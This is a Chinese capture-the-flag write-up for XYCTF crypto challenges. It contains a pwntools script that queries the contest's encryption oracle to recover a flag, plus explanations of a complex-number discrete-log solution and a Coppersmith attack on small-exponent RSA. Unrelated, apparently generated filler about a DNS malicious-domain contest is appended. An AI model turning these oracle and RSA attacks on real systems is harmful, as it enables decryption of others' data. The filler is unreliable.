from libnum import n2s,s2n

context.log_level = "debug"
port = 
p = remote("xyctf.top",port)
p.recvuntil(b"> ")
p.sendline(b"1")
data = p.recvline()[:-1]
iv = data[:32]
enc = n2s(int(data[32:].decode(),16))
print(iv,enc)
flag = ""
#p.recvuntil()

for i in range(len(enc)//16):
        p.sendafter(b"> ",b"2\n")
        p.sendafter(b"iv:",iv+b"\n")
        payload = b"61"*16 
        p.sendlineafter(b"message:",payload)
        result = p.recvline()[:-1]
        keyBox = [0x61 ^ i for i in n2s(int(result.decode(),16))]
        iv = bytes(keyBox).hex().encode("utf-8")
        flag += "".join(chr(i^j) for i,j in zip(enc[16*i:16*i+16],keyBox))

print(flag)

不理解为什么这道题出的人这么少,没仔细审计代码?

Complex_dlp

 

题目描述:复数域下的dlp

考虑共轭复数

g=3+7i

g=3-7i

gg'=(3+7i)(3-7i)=3^2+7^2=9+49=58

不妨设

c \equiv g^x \pmod{p}

c'\equiv {g'}^{x} \pmod{p}

cc' \equiv (gg')^x \pmod{p}

由于c也是个复数

因此不妨设z = cc'

因此z = 58^x \pmod{p}

而根据题目的加密方式,很容易得出

c和c'是共轭关系

因此z \in R

然后离散对数求解即可

反方向的密码 相思

 
from Crypto.Util.number import *
import hashlib
from secrets import flag


def hash(x):
    return hashlib.sha256(x.encode()).digest()


def pad(message):
    return message + hash(str(len(message)))


m = bytes_to_long(pad(flag))
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
e = 3
print(pow(m, e, n))
print(n)
# 120440199294949712392334113337541924034371176306546446428347114627162894108760435789068328282135879182130546564535108930827440004987170619301799710272329673259390065147556073101312748104743572369383346039000998822862286001416166288971531241789864076857299162050026949096919395896174243383291126202796610039053
# 143413213355903851638663645270518081058249439863120739973910994223793329606595495141951165221740599158773181585002460087410975579141155680671886930801733174300593785562287068287654547100320094291092508723488470015821072834947151827362715749438612812148855627557719115676595686347541785037035334177162406305243

很显然,m是由flag和flag长度的sha256组成的

sha256返回的是256bit的数据

因此我们不妨设a为flag左移256bit,设b为sha256输出的数据

那么有

c \equiv (a+b)^3 \pmod{n}

其中对于a的flag来说,我们知道首尾的flag为XYCTF{}

因此我们不妨把首部的flag值记为x,尾部加上sha256的数据记为z,中间未知部分记为y

则有c \equiv (x+y+z)^3 \pmod{n}

因此我们可以构造compersmith攻击,利用nth_root找到y

然后就OK了

  • 26
    点赞
  • 34
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
恭喜您获得域名_DataCon 2020 DNS恶意域名分析方向冠军!以下是您的writeup: 赛题概述: 本次比赛的任务是对一组恶意域名进行分析。每个参赛者需要对提供的数据集进行分析,从中筛选出恶意域名,并对这些域名进行分类、分析和解释。数据集包括了近期出现的一些恶意域名,其中一部分已被官方确认。 分析流程: 1. 数据集的基本情况分析 首先,对数据集进行一些基本的统计分析,比如恶意域名的数量、出现频率、域名长度、TLD分布等等。这些分析可以帮助我们初步了解数据集的特点,为后续的分析提供一些指导。 2. 特征提取 在数据集分析的基础上,我们需要对每个域名进行特征提取。常用的特征包括域名长度、字符集分布、TLD类型、子域名数量、字母频率等等。提取出来的特征可以作为后续模型训练的输入。 3. 恶意域名分类 接下来,我们需要对每个域名进行分类。分类的目的是将恶意域名和正常域名分离开来,为后续的分析提供基础。常用的分类方法包括传统的机器学习分类算法(如决策树、SVM等)和深度学习分类算法(如CNN、LSTM等)。 4. 恶意域名分析 分类完成后,我们需要对恶意域名进行进一步的分析。具体来说,我们需要分析每个恶意域名的类型、攻击方式、受害者等等。这些分析可以帮助我们更好地了解恶意域名的本质和特点,为后续的防御工作提供指导。 5. 结果展示 最后,我们需要将分析结果进行展示。可以采用报告、PPT、图表等多种形式来呈现分析结果。同时,也可以将分析结果与其他团队进行交流,分享经验、互相学习。 总结: 通过对数据集的分析和特征提取,我们可以将恶意域名和正常域名分离开来,并进行进一步的分类和分析。这些工作可以帮助我们更好地了解恶意域名的本质和特点,为后续的防御工作提供指导。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值